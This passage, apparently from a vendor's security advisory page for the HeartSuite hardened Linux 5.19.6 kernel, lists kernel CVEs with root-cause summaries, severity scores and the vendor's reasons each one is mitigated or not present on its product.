In net/ipv6/ip6_output.c, ip6_finish_output2() saves idev = ip6_dst_idev(dst) at line 63. At line 72, skb_expand_head(skb, hh_len) makes room for the link-layer header; when allocation fails, skb_expand_head() frees the original skb and returns NULL. The idev pointer saved before the call now references memory associated with the freed skb. At line 74, IP6_INC_STATS(net, idev, IPSTATS_MIB_OUTDISCARDS) dereferences the stale idev — a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and HS 5.19.6 falls within the affected range. Any local process that sends IPv6 network traffic can trigger the vulnerable allocation failure paths; no capability gate is required. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-44986

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

In net/ipv6/ip6_output.c, ip6_xmit() saves idev = ip6_dst_idev(dst) at line 256. At line 271, skb_expand_head(skb, head_room) expands the buffer to accommodate the IPv6 header and IP options; when allocation fails, the original skb is freed and NULL is returned. The idev pointer is now stale. At line 273, IP6_INC_STATS(net, idev, IPSTATS_MIB_OUTDISCARDS) dereferences freed memory — a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and HS 5.19.6 falls within the affected range. Any local process that sends IPv6 network traffic can trigger the vulnerable allocation failure paths; no capability gate is required. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-44987

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

In net/ipv6/ip6_output.c, ip6_send_skb() at line 1943 saves rt = (struct rt6_info *)skb_dst(skb) without holding rcu_read_lock(). At line 1946, ip6_local_out() transmits the packet and may consume the skb, releasing the associated route. If ip6_local_out() returns a non-zero error code, lines 1951–1952 dereference rt->rt6i_idev — but rt is an RCU-protected pointer and may be freed before the dereference. Holding rcu_read_lock() for the duration of the rt dereference is required.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and HS 5.19.6 falls within the affected range. Any local process that sends IPv6 network traffic can trigger the vulnerable allocation failure paths; no capability gate is required. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-46673

Status: Not exploitable Component: Adaptec aacraid SCSI driver (CONFIG_SCSI_AACRAID) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

aac_probe_one() at drivers/scsi/aacraid/linit.c:1577 calls the hardware-specific init function pointer from aac_driver_ident, which eventually calls aac_init_adapter() at comminit.c:510. On failure, aac_init_adapter() frees dev->queues internally at line 644 (on aac_comm_init() failure) or line 651 (on aac_fib_setup() failure) before returning NULL. The aac_probe_one() error path at linit.c:1798 then calls kfree(aac->queues) a second time on the same pointer — a double-free.

CONFIG_SCSI_AACRAID is not set in the HS 5.19.6 configuration. The Adaptec aacraid RAID controller driver — including the vulnerable aac_probe_one() and aac_init_adapter() paths — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-46746

Status: Not exploitable Component: AMD Sensor Fusion Hub HID driver (CONFIG_AMD_SFH_HID) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In drivers/hid/amd-sfh-hid/amd_sfh_client.c, the error cleanup path calls devm_kfree(dev, cl_data->report_descr[i]) at lines 259 and 276 to free the HID report descriptor before hid_destroy_device() at line 178. The amdtp_hid_parse() callback at amd_sfh_hid.c:32 accesses cli_data->report_descr[hid_data->index] during device initialisation or tear-down. If the descriptor is freed before hid_destroy_device() has completed its disconnect sequence — and the callback fires in that window — it dereferences freed memory.

CONFIG_AMD_SFH_HID is not set in the HS 5.19.6 configuration. The AMD Sensor Fusion Hub HID driver — including the vulnerable amd_sfh_client.c cleanup path and amdtp_hid_parse() callback — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-46747

Status: Not exploitable Component: Cougar HID driver (CONFIG_HID_COUGAR) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

cougar_report_fixup() at drivers/hid/hid-cougar.c:109 reads rdesc[2], rdesc[3], rdesc[115], and rdesc[116], and conditionally writes to rdesc[115]rdesc[116] at lines 113–114, without first checking that *rsize >= 117. If the Cougar 500k Gaming Keyboard presents a report descriptor shorter than 117 bytes, the fixed-offset accesses go beyond the descriptor buffer, producing an out-of-bounds memory read/write.

CONFIG_HID_COUGAR is not set in the HS 5.19.6 configuration. The Cougar HID driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-46798

Status: Not exploitable Component: ALSA rawmidi subsystem (CONFIG_SND_RAWMIDI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SND_RAWMIDI not compiled Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In sound/core/rawmidi.c, snd_rawmidi_drain_output() at line 224 saves runtime = substream->runtime at line 228, then calls wait_event_interruptible_timeout(runtime->sleep, ...) at line 232, waiting up to 10 seconds for the output buffer to drain. If close_substream() runs concurrently and calls snd_rawmidi_runtime_free(substream) at line 528 — freeing substream->runtime — while the drain wait is still sleeping, the runtime pointer saved at line 228 becomes dangling. When the wait exits, accesses to runtime->avail and runtime->buffer_size at line 237 use freed memory.

CONFIG_SND_RAWMIDI is not compiled in the HS 5.19.6 configuration — no enabled driver selects it. The vulnerable rawmidi.c code path does not exist on this system.

CVE-2024-46849

Status: Not exploitable Component: Amlogic Meson ASoC driver (CONFIG_SND_MESON_CARD_UTILS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In sound/soc/meson/axg-card.c, axg_card_add_loopback() at line 107 saves pad = &card->dai_link[*index] — a pointer into the current dai_link array. At line 113, meson_card_reallocate_links() calls krealloc() on card->dai_link, potentially moving the array to a new address and freeing the original buffer. At lines 119 and 133, pad->name and pad->cpus->of_node are accessed through the now-dangling pad pointer. The fix moves the pad assignment to after the reallocation, where card->dai_link has been updated.

CONFIG_SND_MESON_CARD_UTILS is not compiled in the HS 5.19.6 configuration — the Amlogic Meson ASoC platform requires ARCH_MESON which is not set on x86. The vulnerable code path does not exist on this system.

CVE-2024-47682

Status: Not exploitable Component: SCSI subsystem (CONFIG_SCSI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — non-conformant VPD firmware absent; standard SAS/SATA drives conform to SCSI spec Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

If a device returns VPD page 0xb1 with a length of exactly 8 bytes (as QEMU v2.x does), sd_read_block_characteristics() proceeds past the guard at drivers/scsi/sd.c:2921 (vpd->len < 8), then reads vpd->data[8] at line 2927. With len == 8 the valid indices are 0–7; index 8 is one byte past the end of the buffer.

CONFIG_SCSI=y is compiled in and HS 5.19.6 falls within the affected range. The OOB read occurs during device enumeration when a SCSI disk returns VPD page 0xb1 with a length of exactly 8 bytes — behaviour documented in QEMU v2.x, not present on production SAS/SATA/NVMe drives. Standard enterprise storage conforms to the SCSI VPD specification and returns page 0xb1 with the correct length. On a Root Lock by HeartSuite server deployment, no non-conformant storage device is present; the OOB read path in sd_read_block_characteristics() is never reached. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-47701

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

When ext4 searches an inlined directory, ext4_find_inline_entry() at fs/ext4/inline.c:1709 calls ext4_get_inline_xattr_pos() to locate the extended-attribute portion of the inline data. At inline.c:1077, that function returns IFIRST(header) + le16_to_cpu(entry->e_value_offs) without validating that the offset stays within the inode body buffer. A crafted block device can supply an e_value_offs that pushes the resulting pointer out of bounds; that pointer is then passed directly to ext4_search_dir() at line 1712, causing an OOB memory access.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server; inlined directory processing runs for any small directory during normal operation. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-49852

Status: Not Affected — CONFIG_SCSI_EFCT not compiled Component: Emulex EFC FC driver (CONFIG_SCSI_EFCT) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_EFCT not compiled in HS kernel

The kref_put() function will call nport->release if the refcount drops to zero. The nport->release release function is_efc_nport_free() which frees “nport”

CONFIG_SCSI_EFCT is not set in the HS 5.19.6 configuration. The Emulex EFC Fibre Channel target driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-49882

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

In ext4_ext_try_to_merge_up() at fs/ext4/extents.c:1871, brelse(path[1].p_bh) releases the depth-1 extent block buffer but leaves path[1].p_bh non-NULL. When the caller subsequently runs cleanup via ext4_ext_drop_refs(), it iterates the path and calls brelse() on every non-NULL p_bh, releasing the same buffer head a second time — a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server; extent tree merge-up runs during any truncate or extent modification on a two-level extent tree. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-49883

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

In ext4_ext_insert_extent() at fs/ext4/extents.c:2094, the call to ext4_ext_create_new_leaf() may internally call ext4_ext_grow_indepth(), which reallocates the path array via kcalloc(). After the call returns, the caller continues using the original path pointer — now stale — causing a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server; extent insertion runs during any file write that extends or modifies the extent tree. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-49884

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

In ext4_split_extent_at() at fs/ext4/extents.c:3178, the function saves the path pointer as path = *ppath. At line 3248 it calls ext4_ext_insert_extent(handle, inode, ppath, ...), which may reallocate *ppath, freeing the memory that path still points to. Subsequent uses of path at lines 3281, 3282, 3301, and 3304 — in both the success and error-recovery branches — dereference the now-freed pointer, constituting a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server; extent splitting is triggered during any write that bisects an existing extent. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-49889

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

ext4_find_extent() at fs/ext4/extents.c:874 takes an optional **orig_path argument allowing callers to reuse an existing path allocation. On two code paths it frees the old allocation: when the tree depth has grown beyond the cached maximum (lines 898–901, kfree(path); *orig_path = NULL) and on any I/O or corruption error (lines 953–957, same sequence). Callers that save a local path = *ppath copy before invoking a sub-function that internally calls ext4_find_extent() — such as ext4_split_convert_extents() — retain a pointer to the freed memory. Subsequent use of that stale pointer constitutes a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server; any extent-modifying write that triggers a tree depth change or encounters a read error while holding a saved path pointer is a triggering condition. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-49960

Status: Not exploitable Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; do_mount() returns EPERM Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In ext4_fill_super() (fs/ext4/super.c), timer_setup(&sbi->s_err_report, ...) runs at line 4995 and INIT_WORK(&sbi->s_error_work, flush_stashed_error_work) at line 4997. During the failed_mount3: error-unwind at line 5454, flush_work(&sbi->s_error_work) is called at line 5456 immediately before del_timer_sync(&sbi->s_err_report) at line 5457. The work callback flush_stashed_error_work can call mod_timer on s_err_report, arming the timer during the same unwind that is about to cancel it. When the code path passes through failed_mount_wq: (line 5439), flush_work runs a second time at line 5448 before falling through to failed_mount3:, doubling the exposure. Syzbot detected this as an ODEBUG (Object Debug) object-state inconsistency.

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. The vulnerable path runs during a failed mount — for example when ext4_es_register_shrinker() or journal loading fails partway through ext4_fill_super(). On a Root Lock by HeartSuite system, sys_hs_lockdown_hs() blocks all mount paths at kernel/namespace.c:4218, 4300, 4453; do_mount() returns EPERM before any filesystem setup begins. No approved process in the HS allowlist carries a mount allowlist entry, and unapproved programs are refused execution by the kernel’s SPF gate regardless of file ownership or privilege. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-49983

Status: Not exploitable Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; do_mount() returns EPERM Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In ext4_ext_replay_update_ex() at fs/ext4/extents.c:5860, line 5879 assigns ppath = path, making both local variables alias the same allocation. Line 5881 then calls ext4_force_split_extent_at(NULL, inode, &ppath, start, 1), passing the address of ppath. Inside, ext4_split_extent_at() calls ext4_ext_insert_extent() which may invoke ext4_ext_grow_indepth() and reallocate *ppath via kcalloc(). When that happens, the outer ppath is updated to the new allocation and the original memory is freed — but path still holds the original (now stale) pointer. The kfree(path) call at line 5885 then frees already-freed memory, constituting a double-free/use-after-free. The bug is exercised during fast-commit journal replay.

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. The vulnerable path runs during fast-commit journal replay, triggered on mount after an unclean shutdown of a filesystem with the fast-commit feature enabled. On a Root Lock by HeartSuite system, sys_hs_lockdown_hs() blocks all mount paths at kernel/namespace.c:4218, 4300, 4453; do_mount() returns EPERM before any filesystem setup begins. No approved process in the HS allowlist carries a mount allowlist entry, and unapproved programs are refused execution by the kernel’s SPF gate regardless of file ownership or privilege. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-50007

Status: Not Affected Component: ASIHPI soundcard driver (CONFIG_SND_ASIHPI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SND_ASIHPI not compiled

The ASIHPI driver writes firmware-controlled index values into a static array without bounds-checking the index. CONFIG_SND_ASIHPI is not set in the HS 5.19.6 kernel configuration; the driver and this code path are absent from the compiled kernel image.

CVE-2022-48951

Status: Not Affected Component: ALSA SoC layer (CONFIG_SND_SOC) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SND_SOC not compiled

snd_soc_put_volsw_sx() applies bounds checks only to the first channel, allowing out-of-bounds writes to the second. CONFIG_SND_SOC is not set in the HS 5.19.6 kernel configuration; the ALSA SoC layer and this function are absent from the compiled kernel image.

CVE-2022-48956

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

ip6_fragment() at net/ipv6/ip6_output.c:831 handles IPv6 packet fragmentation. The function and its callees access RCU-protected routing and neighbor table entries; a prior commit added an assumption that all callers hold the RCU read lock at entry. For the IPv4-style fast path via ip6_finish_output2() this holds — rcu_read_lock_bh() is acquired at line 119. However the UDP egress path (ip6_send_skb() at line 1940 → ip6_local_out()ip6_output()ip6_finish_output()ip6_fragment()) does not guarantee the lock is held before entry into the fragmentation code. Under concurrent route or neighbor table modification this produces a use-after-free. Syzbot confirmed the race.

CONFIG_IPV6=y is compiled in and HS 5.19.6 falls within the affected range. IPv6 is active on any Debian 11 server that has IPv6 addresses configured; the UDP-over-IPv6 fragmentation path is reachable by any process with a UDP socket. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2022-49022

Status: Not exploitable Component: mac80211 wireless stack (CONFIG_MAC80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In ieee80211_get_rate_duration() at net/mac80211/airtime.c:455, airtime_mcs_groups[group].duration[idx] is accessed where group is computed from bandwidth, stream count, and encoding mode via the VHT_GROUP_IDX/HT_GROUP_IDX/HE_GROUP_IDX macros. The stream-count bounds check at line 451 guards one dimension, but an invalid combination of bandwidth and stream count can produce a group index that exceeds the airtime_mcs_groups array bounds, triggering a UBSAN array-index-out-of-bounds read.

CONFIG_MAC80211=y is compiled in. No WiFi NIC is present on a Debian 11 server deployment; mac80211 creates no wireless interfaces without hardware and this code path is never reached. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or preserve access across a reboot.

CVE-2022-49023

Status: Not exploitable Component: cfg80211 wireless framework (CONFIG_CFG80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In net/wireless/scan.c:338, when merging per-STA profile elements in the multi-BSSID path, the code calls memcmp(tmp_old + 2, tmp + 2, 5) to compare the OUI (3 bytes) + type (1 byte) + subtype (1 byte) of a vendor element, without first checking that either IE has at least 5 bytes of data. A vendor element with fewer than 5 data bytes causes an out-of-bounds read beyond the element buffer.

CONFIG_CFG80211=y is compiled in. No WiFi NIC is present on a Debian 11 server deployment; cfg80211 creates no wireless interfaces without hardware and this code path is never reached. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or preserve access across a reboot.

CVE-2024-50278

Status: Not Affected Component: dm-cache (CONFIG_DM_CACHE) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — CONFIG_DM_CACHE not compiled

If the cache device is expanded between initial load and first-time resume, the bitsets (dirty_bitset, discard_bitset) allocated in dm-cache-target.c are sized to the pre-expansion block count. On resume, cache-block indices derived from the new device size exceed the allocated bitset bounds, causing an out-of-bounds access. CONFIG_DM_CACHE is not set in the HS 5.19.6 kernel configuration; the dm-cache target and this code path are absent from the compiled kernel image.

CVE-2024-50279

Status: Not Affected Component: dm-cache (CONFIG_DM_CACHE) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — CONFIG_DM_CACHE not compiled

When shrinking the fast (cache) device, dm-cache iterates the dirty_bitset to identify cache blocks that must be flushed before being dropped. An index error in the bitset iteration produces a bit index that exceeds the allocated bitset bounds, causing an out-of-bounds access. CONFIG_DM_CACHE is not set in the HS 5.19.6 kernel configuration; the dm-cache target and this code path are absent from the compiled kernel image.

CVE-2024-53147

Status: Not exploitable Component: FAT/exFAT filesystem (CONFIG_FAT_FS) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) Score on HeartSuite: 0.0 — Lockdown blocks mount(); no adversary-controlled FAT filesystem reachable Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In fs/exfat/dir.c, when iterating directory entries, the cluster-walk loop at line 105 calls exfat_get_next_cluster(sb, &(clu.dir)) to follow the FAT chain. If a directory’s size is at least one cluster (so clu_offset > 0) and ei->start_clu was set to EXFAT_EOF_CLUSTER (0xFFFFFFFF) due to filesystem corruption, clu.dir starts at 0xFFFFFFFF. The call at line 106 then attempts a FAT table lookup at index 0xFFFFFFFF, which is far outside the FAT table’s num_clusters entries, causing an out-of-bounds read.

CONFIG_FAT_FS=y is compiled in and HS 5.19.6 falls within the affected range. exFAT is compiled in and is used for the EFI system partition; the vulnerable path is triggered by traversing a corrupted exFAT directory. The adversary must be able to present a crafted exFAT image — mounting an external device or network share requires mount(), which Lockdown blocks unconditionally. The EFI system partition is already mounted at boot time and its contents are controlled by the administrator; an external attacker cannot inject a malformed exFAT directory into the in-use ESP. On a Root Lock by HeartSuite system in Lockdown, the kernel additionally blocks any process without an allowlist entry from executing, closing the exploitation path before it can reach the vulnerable directory traversal code.

CVE-2024-53150

Status: Not Affected Component: USB audio driver (CONFIG_SND_USB_AUDIO) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — CONFIG_SND_USB_AUDIO not compiled

The USB-audio driver does not validate bLength of each descriptor when traversing clock descriptors, allowing a malformed USB device to cause an out-of-bounds read. CONFIG_SND_USB_AUDIO is not set in the HS 5.19.6 kernel configuration; the USB audio driver and this descriptor-traversal path are absent from the compiled kernel image.

CVE-2024-53170

Status: Affected Component: SCSI subsystem (CONFIG_SCSI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In blk_mq_exit_hctx() at block/blk-mq.c:3440, the call to blk_mq_clear_flush_rq_mapping() (line 3441) is guarded by if (blk_queue_init_done(q)). During SCSI device probe, the queue is not yet fully initialized, so this condition is false and blk_mq_clear_flush_rq_mapping() is skipped. The function is responsible for atomically clearing the flush_rq pointer from every slot in tags->rqs[]. When skipped, flush_rq is subsequently freed but its pointer remains live in the rqs[] array. Any later iteration over tags->rqs[] — such as during a tag-set teardown or request lookup — dereferences the stale pointer, constituting a use-after-free.

CONFIG_SCSI=y is compiled in and HS 5.19.6 falls within the affected range. The SCSI subsystem underpins block storage on Debian 11 via libata; the vulnerable path is triggered during SCSI probe teardown when initialization does not complete successfully. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-53173

Status: Not exploitable Component: NFS v4 client (CONFIG_NFS_V4) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; no NFS v4 share reachable on HS deployments Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

nfs_release_seqid() at fs/nfs/nfs4state.c:1088 removes a seqid from the sequence wait-list and wakes the next waiter (rpc_wake_up_queued_task() at line 1102). When two threads open the same file concurrently and both abort before receiving a reply, two separate code paths each call nfs_release_seqid() on the same nfs_seqid: the prepare callback at fs/nfs/nfs4proc.c:2462 (when nfs4_setup_sequence() returns non-zero) and the done/release callback at line 2061. The second call finds seqid->list already empty and returns without action, but by this point nfs_free_seqid() may have freed the seqid object. The task woken by the first release can dereference seqid->sequence through the nfs_seqid pointer it holds — now pointing to freed memory — constituting a use-after-free.

CONFIG_NFS_V4=y is compiled in and HS 5.19.6 falls within the affected range. The vulnerable seqid use-after-free path is only reachable when an NFS v4 share is mounted. On a Root Lock by HeartSuite system, Lockdown blocks mount() unconditionally — do_mount(), fsmount(), and move_mount() all return EPERM (kernel/namespace.c:4218, 4300, 4453). No NFS v4 filesystem can be mounted by any process, so the vulnerable code path is never reached. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-53214

Status: Not Affected Component: VFIO subsystem (CONFIG_VFIO) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_VFIO not compiled

